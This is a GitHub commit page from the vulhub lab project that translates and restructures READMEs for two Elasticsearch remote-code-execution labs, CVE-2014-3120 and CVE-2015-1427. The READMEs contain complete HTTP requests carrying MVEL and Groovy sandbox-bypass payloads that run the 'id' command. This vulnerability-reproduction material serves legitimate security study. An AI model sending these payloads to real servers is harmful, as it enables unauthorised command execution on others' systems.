Skip to content

Commit

Permalink
Merge pull request vulhub#613 from vulhub/elasticsearch-translate
Browse files Browse the repository at this point in the history
Translate ElasticSearch documentation
  • Loading branch information
phith0n authored Mar 7, 2025
2 parents 0dc5674 + c722e27 commit 88d9fb6
Show file tree
Hide file tree
Showing 16 changed files with 479 additions and 117 deletions.
53 changes: 18 additions & 35 deletions elasticsearch/CVE-2014-3120/README.md
Original file line number Diff line number Diff line change
@@ -1,53 +1,36 @@
# ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境
# ElasticSearch Remote Code Execution (CVE-2014-3120)

jre版本:openjdk:8-jre
[中文版本(Chinese version)](README.zh-cn.md)

elasticsearch版本:v1.1.1
ElasticSearch is a distributed, RESTful search and analytics engine.

## 原理
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to `_search`.

相关文档:http://bouk.co/blog/elasticsearch-rce/https://www.t00ls.net/viewthread.php?tid=29408

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。

MVEL执行命令的代码如下:
Here's an example of MVEL code that executes system commands:

```java
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
```

## 漏洞测试
References:

- <https://bou.ke/blog/elasticsearch-rce/>
- <https://www.exploit-db.com/exploits/33370>

编译及运行环境:
## Vulnerability Reproduction

Execute the following commands to start a vulnerable ElasticSearch server 1.1.1:

```
docker compose build
docker compose up -d
```

将Java代码放入json中:
After the server starts, you can access the ElasticSearch API at `http://your-ip:9200`.

```json
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
```
## Exploitation

首先,该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据:
The exploit requires at least one document in the index. First, create a document:

```
POST /website/blog/ HTTP/1.1
Expand All @@ -60,11 +43,11 @@ Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
"name": "vulhub"
}
```

然后,执行任意代码:
Then, send a request containing the malicious MVEL script to execute arbitrary commands:

```
POST /_search?pretty HTTP/1.1
Expand Down Expand Up @@ -94,6 +77,6 @@ Content-Length: 343
}
```

结果如图:
The command execution result will be returned in the response:

![](1.png)
78 changes: 78 additions & 0 deletions elasticsearch/CVE-2014-3120/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
# ElasticSearch 远程代码执行漏洞(CVE-2014-3120)

ElasticSearch 是一个分布式的RESTful搜索和分析引擎。

ElasticSearch 1.2版本之前默认启用了动态脚本功能,攻击者可以通过`_search`请求的`source`参数执行任意MVEL表达式和Java代码。MVEL是一种基于Java的动态脚本语言,下面是一个使用MVEL执行系统命令的示例代码:

```java
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
```

参考链接:

- <https://bou.ke/blog/elasticsearch-rce/>
- <https://www.exploit-db.com/exploits/33370>

## 漏洞环境

执行以下命令启动一个1.1.1版本的ElasticSearch服务器:

```
docker compose up -d
```

环境启动后,可以通过`http://your-ip:9200`访问ElasticSearch API。

## 漏洞复现

此漏洞利用需要索引中至少存在一个文档。首先,创建一个文档:

```
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "vulhub"
}
```

然后,发送包含恶意MVEL脚本的请求来执行任意命令:

```
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
```

命令执行结果将在响应中返回:

![](1.png)
1 change: 0 additions & 1 deletion elasticsearch/CVE-2014-3120/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
version: '2'
services:
es:
image: vulhub/elasticsearch:1.1.1
Expand Down
58 changes: 32 additions & 26 deletions elasticsearch/CVE-2015-1427/README.md
Original file line number Diff line number Diff line change
@@ -1,51 +1,55 @@
# ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)测试环境
# ElasticSearch Groovy Sandbox Bypass and Remote Code Execution (CVE-2015-1427)

jre版本:openjdk:8-jre
[中文版本(Chinese version)](README.zh-cn.md)

elasticsearch版本:v1.4.2
ElasticSearch is a distributed, RESTful search and analytics engine.

## 原理
ElasticSearch versions prior to 1.3.8 and 1.4.3 contain a vulnerability in the Groovy scripting engine that allows attackers to bypass the sandbox protection and execute arbitrary code on the server.

参考文章:
After [CVE-2014-3120](../CVE-2014-3120/), ElasticSearch changed its default dynamic scripting language to Groovy and added a sandbox. However, dynamic language execution remained enabled by default. This vulnerability involves:

- http://cb.drops.wiki/drops/papers-5107.html
- http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
- https://github.com/XiphosResearch/exploits
- http://cb.drops.wiki/drops/papers-5142.html
1. A sandbox bypass
2. A Groovy code execution vulnerability

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。
ElasticSearch supports using "sandboxed" Groovy language as a dynamic scripting engine. However, the sandbox implementation was insufficient. Two methods for command execution were discovered:

## Groovy语言“沙盒”
1. Lupin's method: Bypass the Java sandbox using reflection
2. Tang3's method: Use Groovy language features to execute commands directly, without using Java

ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本,但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法:
Based on these approaches, we have two different POCs.

1. 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
2. Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言
Java sandbox bypass method:

所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。

Java沙盒绕过法:

```
```groovy
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
```

Goovy直接执行命令法:
Groovy direct command execution method:

```
```groovy
def command='id';def res=command.execute().text;res
```

## 漏洞测试
References:

- <http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/>
- <https://github.com/XiphosResearch/exploits>
- <http://cb.drops.wiki/drops/papers-5107.html>
- <http://cb.drops.wiki/drops/papers-5142.html>

编译及运行测试环境
## Environment Setup

Execute the following commands to start a 1.4.2 version ElasticSearch server:

```
docker compose build
docker compose up -d
```

由于查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据:
After the server starts, you can access the ElasticSearch server at `http://your-ip:9200`.

## Vulnerability Reproduction

Since querying requires at least one document in the index, first send the following request to add data:

```
POST /website/blog/ HTTP/1.1
Expand All @@ -62,7 +66,7 @@ Content-Length: 25
}
```

然后发送包含payload的数据包,执行任意命令:
Then send a request containing the payload to execute arbitrary commands:

```
POST /_search?pretty HTTP/1.1
Expand All @@ -77,4 +81,6 @@ Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
```

The command execution result will be returned in the response:

![](1.png)
84 changes: 84 additions & 0 deletions elasticsearch/CVE-2015-1427/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
# ElasticSearch Groovy 沙盒绕过与远程代码执行漏洞(CVE-2015-1427)

ElasticSearch是一个分布式的RESTful搜索和分析引擎。

在ElasticSearch 1.3.8和1.4.3之前的版本中,Groovy脚本引擎存在一个漏洞,攻击者可以绕过沙盒保护并在服务器上执行任意代码。

在修复[CVE-2014-3120](../CVE-2014-3120/)漏洞后,ElasticSearch将默认的动态脚本语言更改为Groovy,并增加了沙盒保护。但是,动态语言执行功能仍然默认启用。本漏洞包含两个方面:

1. 沙盒绕过
2. Groovy代码执行漏洞

ElasticSearch支持使用"沙盒化"的Groovy语言作为动态脚本引擎。然而,沙盒的实现并不完善。研究人员发现了两种执行命令的方法:

1. Lupin的方法:使用Java反射绕过沙盒
2. Tang3的方法:直接使用Groovy语言特性执行命令,无需使用Java

基于这两种方法,我们有两个不同的POC。

Java沙盒绕过方法:

```groovy
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
```

Groovy直接命令执行方法:

```groovy
def command='id';def res=command.execute().text;res
```

参考链接:

- <http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/>
- <https://github.com/XiphosResearch/exploits>
- <http://cb.drops.wiki/drops/papers-5107.html>
- <http://cb.drops.wiki/drops/papers-5142.html>

## 漏洞环境

执行以下命令启动一个1.4.2版本的ElasticSearch服务器:

```
docker compose up -d
```

环境启动后,可以通过`http://your-ip:9200`访问ElasticSearch API。

## 漏洞复现

由于查询时需要索引中至少有一条数据,首先发送以下请求添加数据:

```
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
```

然后发送包含payload的请求来执行任意命令:

```
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
```

命令执行结果将在响应中返回:

![](1.png)
1 change: 0 additions & 1 deletion elasticsearch/CVE-2015-1427/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
version: '2'
services:
es:
image: vulhub/elasticsearch:1.4.2
Expand Down
Loading

0 comments on commit 88d9fb6

Please sign in to comment.